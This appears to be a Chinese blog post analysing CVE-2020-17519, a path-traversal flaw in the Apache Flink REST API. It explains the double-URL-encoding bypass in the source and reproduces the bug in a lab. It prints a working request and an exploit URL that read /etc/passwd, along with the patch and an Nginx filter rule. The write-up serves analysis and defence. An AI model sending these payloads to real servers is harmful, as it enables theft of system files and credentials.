CVE-2020-17519源码分析与漏洞复现(Flink 任意文件读取)

news2025/9/22 20:55:54

漏洞概览

  • 漏洞名称:Apache Flink REST API 任意文件读取漏洞
  • CVE编号:CVE-2020-17519
  • CVSS评分:7.5
  • 影响版本:Apache Flink 1.11.0、1.11.1、1.11.2
  • 修复版本:≥ 1.11.3 或 ≥ 1.12.0
  • 漏洞类型:路径遍历(Path Traversal)
  • 根本原因:JobManager 的 REST 接口未对用户输入路径进行规范化校验,导致通过双重URL编码(%252f)绕过安全防护,实现任意文件读取。

技术背景

Apache Flink 架构关键点

  • JobManager:核心管理节点,通过 REST API(默认端口 8081)提供作业控制、日志访问等功能。
  • 漏洞接口/jobmanager/logs/<filename> 用于查看日志文件,但未限制文件名参数的路径穿越风险。

漏洞原理与源码分析

1. 漏洞触发点

类路径org.apache.flink.runtime.rest.handler.cluster.JobManagerCustomLogHandler
方法getFile

@Override
	protected File getFile(HandlerRequest<EmptyRequestBody, FileMessageParameters> handlerRequest) {
		if (logDir == null) {
			return null;
		}
		String filename = handlerRequest.getPathParameter(LogFileNamePathParameter.class);
		return new File(logDir, filename);// 直接拼接用户输入的filename [漏洞点]  
}  
	}

问题分析

  • logDir 是日志目录(如 /opt/flink/log),但 filename 未做规范化处理。
  • 攻击者注入 ../ 序列可跳转至系统任意路径(如 ../../etc/passwd)。
2. 双重编码绕过机制

攻击载荷示例:

GET /jobmanager/logs/..%252f..%252fetc%252fpasswd HTTP/1.1  

绕过流程

  1. 首次解码(容器层):%252f%2f(保留编码形式)。
  2. 二次解码(Flink路由层):%2f/,生成有效路径 ../../etc/passwd
3. 路由处理缺陷
  • 类路径org.apache.flink.runtime.webmonitor.handlers.Router
  • 问题:路由解析时未校验路径标准化结果,直接传递用户输入至文件系统接口。

漏洞复现与影响

复现步骤

环境搭建
1.使用 Vulhub 环境启动漏洞靶机
 docker-compose up -d 

在这里插入图片描述

2.访问访问 http://target:8081,确认服务正常运行

在这里插入图片描述

攻击步骤
通过以下 URL 可以读取服务器上的 /etc/passwd 文件内容:
http://your-ip:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

在这里插入图片描述

实际影响

攻击类型利用场景危害示例
敏感信息泄露读取 /etc/passwd~/.ssh/id_rsa系统用户枚举、SSH密钥窃取
配置文件窃取读取数据库凭证(application.properties数据库未授权访问
云环境横向渗透读取 Kubernetes 服务账户令牌集群权限提升

修复方案

1. 官方补丁(≥1.11.3)

修复代码

// 路径规范化 + 边界校验  
Path requestedFile = rootPath.resolve(filename).normalize();  
if (!requestedFile.startsWith(rootPath)) {  
    throw new NotFoundException("File not found");  
}  

修复效果

  • normalize() 消除路径中的 ../ 序列。
  • startsWith() 确保最终路径限制在 logDir 内。

2. 临时缓解措施

  • 网络层隔离:限制 8081 端口的访问来源(防火墙/NACL)。
  • 反向代理过滤(Nginx示例):
    location ~ /logs/ {  
        if ($request_uri ~ "\.\.|%252f") { return 403; }  
    }  
    
  • 启用认证:配置 Flink Kerberos 或 API 密钥认证。

总结与启示

  • 根本原因输入信任失衡 + 路径规范化缺失
  • 同类漏洞对比
    漏洞绕过方式修复核心
    CVE-2020-17519双重URL编码先规范化后校验边界
    CVE-2020-17518文件名路径穿越剥离路径(getName()
  • 防御铁律
    1. 永不信任用户输入:路径拼接前强制规范化。
    2. 最小权限原则:服务进程以低权限账户运行。
    3. 深度防御:结合代码修复 + 网络层过滤 + 文件监控。

参考链接

  1. CVE-2020-17519 NVD 漏洞详情
  2. 漏洞复现与 PoC 脚本
  3. 官方修复提交记录

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2407299.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

嵌入式学习笔记DAY33(网络编程——TCP)

一、网络架构 C/S &#xff08;client/server 客户端/服务器&#xff09;&#xff1a;由客户端和服务器端两个部分组成。客户端通常是用户使用的应用程序&#xff0c;负责提供用户界面和交互逻辑 &#xff0c;接收用户输入&#xff0c;向服务器发送请求&#xff0c;并展示服务…

安宝特案例丨Vuzix AR智能眼镜集成专业软件,助力卢森堡医院药房转型,赢得辉瑞创新奖

在Vuzix M400 AR智能眼镜的助力下&#xff0c;卢森堡罗伯特舒曼医院&#xff08;the Robert Schuman Hospitals, HRS&#xff09;凭借在无菌制剂生产流程中引入增强现实技术&#xff08;AR&#xff09;创新项目&#xff0c;荣获了2024年6月7日由卢森堡医院药剂师协会&#xff0…

【VLNs篇】07:NavRL—在动态环境中学习安全飞行

项目内容论文标题NavRL: 在动态环境中学习安全飞行 (NavRL: Learning Safe Flight in Dynamic Environments)核心问题解决无人机在包含静态和动态障碍物的复杂环境中进行安全、高效自主导航的挑战&#xff0c;克服传统方法和现有强化学习方法的局限性。核心算法基于近端策略优化…

R语言速释制剂QBD解决方案之三

本文是《Quality by Design for ANDAs: An Example for Immediate-Release Dosage Forms》第一个处方的R语言解决方案。 第一个处方研究评估原料药粒径分布、MCC/Lactose比例、崩解剂用量对制剂CQAs的影响。 第二处方研究用于理解颗粒外加硬脂酸镁和滑石粉对片剂质量和可生产…

基于Java+MySQL实现(GUI)客户管理系统

客户资料管理系统的设计与实现 第一章 需求分析 1.1 需求总体介绍 本项目为了方便维护客户信息为了方便维护客户信息&#xff0c;对客户进行统一管理&#xff0c;可以把所有客户信息录入系统&#xff0c;进行维护和统计功能。可通过文件的方式保存相关录入数据&#xff0c;对…

springboot整合VUE之在线教育管理系统简介

可以学习到的技能 学会常用技术栈的使用 独立开发项目 学会前端的开发流程 学会后端的开发流程 学会数据库的设计 学会前后端接口调用方式 学会多模块之间的关联 学会数据的处理 适用人群 在校学生&#xff0c;小白用户&#xff0c;想学习知识的 有点基础&#xff0c;想要通过项…

算法:模拟

1.替换所有的问号 1576. 替换所有的问号 - 力扣&#xff08;LeetCode&#xff09; ​遍历字符串​&#xff1a;通过外层循环逐一检查每个字符。​遇到 ? 时处理​&#xff1a; 内层循环遍历小写字母&#xff08;a 到 z&#xff09;。对每个字母检查是否满足&#xff1a; ​与…

LINUX 69 FTP 客服管理系统 man 5 /etc/vsftpd/vsftpd.conf

FTP 客服管理系统 实现kefu123登录&#xff0c;不允许匿名访问&#xff0c;kefu只能访问/data/kefu目录&#xff0c;不能查看其他目录 创建账号密码 useradd kefu echo 123|passwd -stdin kefu [rootcode caozx26420]# echo 123|passwd --stdin kefu 更改用户 kefu 的密码…

Linux 内存管理实战精讲:核心原理与面试常考点全解析

Linux 内存管理实战精讲&#xff1a;核心原理与面试常考点全解析 Linux 内核内存管理是系统设计中最复杂但也最核心的模块之一。它不仅支撑着虚拟内存机制、物理内存分配、进程隔离与资源复用&#xff0c;还直接决定系统运行的性能与稳定性。无论你是嵌入式开发者、内核调试工…

Python基于历史模拟方法实现投资组合风险管理的VaR与ES模型项目实战

说明&#xff1a;这是一个机器学习实战项目&#xff08;附带数据代码文档&#xff09;&#xff0c;如需数据代码文档可以直接到文章最后关注获取。 1.项目背景 在金融市场日益复杂和波动加剧的背景下&#xff0c;风险管理成为金融机构和个人投资者关注的核心议题之一。VaR&…

【分享】推荐一些办公小工具

1、PDF 在线转换 https://smallpdf.com/cn/pdf-tools 推荐理由&#xff1a;大部分的转换软件需要收费&#xff0c;要么功能不齐全&#xff0c;而开会员又用不了几次浪费钱&#xff0c;借用别人的又不安全。 这个网站它不需要登录或下载安装。而且提供的免费功能就能满足日常…

推荐 github 项目:GeminiImageApp(图片生成方向,可以做一定的素材)

推荐 github 项目:GeminiImageApp(图片生成方向&#xff0c;可以做一定的素材) 这个项目能干嘛? 使用 gemini 2.0 的 api 和 google 其他的 api 来做衍生处理 简化和优化了文生图和图生图的行为(我的最主要) 并且有一些目标检测和切割(我用不到) 视频和 imagefx 因为没 a…

面向无人机海岸带生态系统监测的语义分割基准数据集

描述&#xff1a;海岸带生态系统的监测是维护生态平衡和可持续发展的重要任务。语义分割技术在遥感影像中的应用为海岸带生态系统的精准监测提供了有效手段。然而&#xff0c;目前该领域仍面临一个挑战&#xff0c;即缺乏公开的专门面向海岸带生态系统的语义分割基准数据集。受…

使用Spring AI和MCP协议构建图片搜索服务

目录 使用Spring AI和MCP协议构建图片搜索服务 引言 技术栈概览 项目架构设计 架构图 服务端开发 1. 创建Spring Boot项目 2. 实现图片搜索工具 3. 配置传输模式 Stdio模式&#xff08;本地调用&#xff09; SSE模式&#xff08;远程调用&#xff09; 4. 注册工具提…

C++:多态机制详解

目录 一. 多态的概念 1.静态多态&#xff08;编译时多态&#xff09; 二.动态多态的定义及实现 1.多态的构成条件 2.虚函数 3.虚函数的重写/覆盖 4.虚函数重写的一些其他问题 1&#xff09;.协变 2&#xff09;.析构函数的重写 5.override 和 final关键字 1&#…

人机融合智能 | “人智交互”跨学科新领域

本文系统地提出基于“以人为中心AI(HCAI)”理念的人-人工智能交互(人智交互)这一跨学科新领域及框架,定义人智交互领域的理念、基本理论和关键问题、方法、开发流程和参与团队等,阐述提出人智交互新领域的意义。然后,提出人智交互研究的三种新范式取向以及它们的意义。最后,总结…

七、数据库的完整性

七、数据库的完整性 主要内容 7.1 数据库的完整性概述 7.2 实体完整性 7.3 参照完整性 7.4 用户定义的完整性 7.5 触发器 7.6 SQL Server中数据库完整性的实现 7.7 小结 7.1 数据库的完整性概述 数据库完整性的含义 正确性 指数据的合法性 有效性 指数据是否属于所定…

人工智能(大型语言模型 LLMs)对不同学科的影响以及由此产生的新学习方式

今天是关于AI如何在教学中增强学生的学习体验&#xff0c;我把重要信息标红了。人文学科的价值被低估了 ⬇️ 转型与必要性 人工智能正在深刻地改变教育&#xff0c;这并非炒作&#xff0c;而是已经发生的巨大变革。教育机构和教育者不能忽视它&#xff0c;试图简单地禁止学生使…

安全突围:重塑内生安全体系:齐向东在2025年BCS大会的演讲

文章目录 前言第一部分&#xff1a;体系力量是突围之钥第一重困境是体系思想落地不畅。第二重困境是大小体系融合瓶颈。第三重困境是“小体系”运营梗阻。 第二部分&#xff1a;体系矛盾是突围之障一是数据孤岛的障碍。二是投入不足的障碍。三是新旧兼容难的障碍。 第三部分&am…

处理vxe-table 表尾数据是单独一个接口,表格tableData数据更新后,需要点击两下,表尾才是正确的

修改bug思路&#xff1a; 分别把 tabledata 和 表尾相关数据 console.log() 发现 更新数据先后顺序不对 settimeout延迟查询表格接口 ——测试可行 升级↑&#xff1a;async await 等接口返回后再开始下一个接口查询 ________________________________________________________…